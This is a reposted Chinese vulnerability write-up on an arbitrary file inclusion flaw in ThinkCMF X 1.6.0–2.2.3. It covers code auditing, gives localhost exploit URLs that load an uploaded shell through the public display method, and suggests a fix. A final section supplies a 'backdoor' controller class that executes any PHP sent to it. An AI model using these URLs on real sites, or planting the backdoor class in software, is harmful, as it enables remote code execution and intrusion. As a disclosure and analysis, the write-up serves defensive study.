PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了[CMS]ThinkCMF框架上任意内容包含漏洞大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

原出处:https://www.freebuf.com/vuls/217586.html

0x00 简介

ThinkCMF是一款基于PHP+MysqL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。

ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。

每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

官网:http://www.thinkcmf.com

0x01 影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

本次复现的版本为:ThinkCMF X2.2.3
下载地址:https://gitee.com/thinkcmf/ThinkCMFX

0x02 代码审计

根据index.PHP中的配置,他的项目路径为application,打开 Portal 下的 Controller 目录,选择一个控制类文件

[CMS]ThinkCMF框架上任意内容包含漏洞

发现他的父类为Common\Controller\HomebaseController。

在HomeBaseController中加入如下测试代码

[CMS]ThinkCMF框架上任意内容包含漏洞

ThinkPHP是一套基于MVC的应用程序框架,被分成三个核心部件:模型(M)、视图(V)、控制器(C)。

由于添加代码在控制器中,根据ThinkPHP框架约定可以通过a参数来指定对应的函数名,但是该函数的修饰符必须为Public, 而添加代码正好符合该条件。

可以通过如下URL进行访问,并且可以添加GET参数arg1传递给函数

http://127.0.0.1/cmfx-master/?a=test_public&arg1=run%20success

[CMS]ThinkCMF框架上任意内容包含漏洞

HomeBaseController类中有一些访问权限为public的函数

[CMS]ThinkCMF框架上任意内容包含漏洞

重点关注display函数.看描述就是可以自定义加载模版,通过$this->parseTemplate 函数根据约定确定模版路径,如果不符合原先的约定将会从当前目录开始匹配。

然后调用THinkPHP Controller 函数的display方法

public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') { 

      parent::display($this->parseTemplate($templateFilE), $charset, $contentType,$content,$prefiX);

      }

再往下就是调用Think View的fetch方法,这里的TMPL_ENGINE_TYPE 为Think, 最终模版内容解析在ParseTemplateBehavior中完成

0x03 漏洞复现

如下调用即可加载任意文件

http://127.0.0.1:81/ThinkCMFX/?a=display&templateFile=sHell.PHP

[CMS]ThinkCMF框架上任意内容包含漏洞

要利用该方法sHell,还需要配合前台一个上传功能,通过包含自己上传文件来sHell:

http://127.0.0.1/CMS/ThinkCMFX/?a=display&templateFile=sHell.PHP

[CMS]ThinkCMF框架上任意内容包含漏洞

在HomebaseController.class.PHP 和 AdminbaseController.class.PHP中,往下面翻阅发现还有fetch方法,display方法相对fetch只是多了一个render的过程,而且这里不需要知道文件路径

0x04 修复方法

将 HomebaseController.class.PHP 和 AdminbaseController.class.PHP 类中 display 和 fetch 函数的修饰符改为 protected

0x05 自定义后门

可通过新建如下控制类

namespace Portal\Controller;

use Think\Controller;

class DoorController extends Controller {

   public function index($content) {

      parent::display('', '', '',$content, '');

   }

 }

[CMS]ThinkCMF框架上任意内容包含漏洞

由于是测试,content未做任何处理,直接传输PHP代码即可执行。

大佬总结

以上是大佬教程为你收集整理的[CMS]ThinkCMF框架上任意内容包含漏洞全部内容,希望文章能够帮你解决[CMS]ThinkCMF框架上任意内容包含漏洞所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: